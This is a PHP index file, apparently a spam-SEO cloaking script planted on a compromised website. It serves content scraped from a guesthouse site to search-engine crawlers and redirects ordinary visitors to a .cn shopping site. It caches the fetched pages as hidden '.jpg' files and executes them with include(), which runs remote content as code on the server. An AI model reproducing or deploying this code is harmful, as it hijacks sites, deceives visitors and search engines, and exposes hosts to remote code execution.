<?php
$filename = "index.php";
$fromsite = "http://www.crawfordguesthouse.com/";
$bakdir='.images/';
$shopping='http://www.viprelojes.cn/';
$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
if (strpos ($tmp, 'google') !== false || strpos ($tmp, 'yahoo') !== false || strpos ($tmp, 'msn') !== false || strpos ($tmp, 'sqworm') !== false) {
function contents($filename,$fromsite,$url){
$mysite = "/";
$qstr = $filename."?url=";
$repstr = $mysite.$qstr;
$content = file_get_contents($fromsite.$url);
$content = str_ireplace('href="','href="/',$content);
$content = str_ireplace('href="//','href="/',$content);
$content = str_ireplace('href="/http','href="http',$content);
$content = str_ireplace('href="/http','href="http',$content);
$content = str_replace('href="/','href="'.$fromsite,$content);
$content = str_ireplace('src="','src="/',$content);
$content = str_ireplace('src="//','src="/',$content);
$content = str_ireplace('src="/http','src="http',$content);
$content = str_ireplace('src="/http','src="http',$content);
$content = str_replace('src="/','src="'.$fromsite,$content);
$content = str_replace($fromsite,$repstr,$content);
$content = str_replace($repstr."skin",$fromsite."skin",$content);
$content = str_replace($repstr."style",$fromsite."style",$content);
$content = str_replace($repstr."js",$fromsite."js",$content);
$content = str_replace($repstr."media",$fromsite."media",$content);
$content = str_replace($repstr."res",$fromsite."res",$content);
return $content;
}
if(!is_dir($bakdir)) mkdir ($bakdir ,0777);
$url = empty($_GET['url'])?"":$_GET['url'];
if($url==''){
$urlname = '.index.jpg';
}else{
$urlname = '.'.preg_replace("#\/#si",'$',$url.'.jpg');
}
if(file_exists($bakdir .$urlname)){
include($bakdir.$urlname);
exit;
}
file_put_contents($bakdir.$urlname,contents($filename,$fromsite,$url));
include($bakdir.$urlname);
}else{
header("Location: $shopping");
}
?>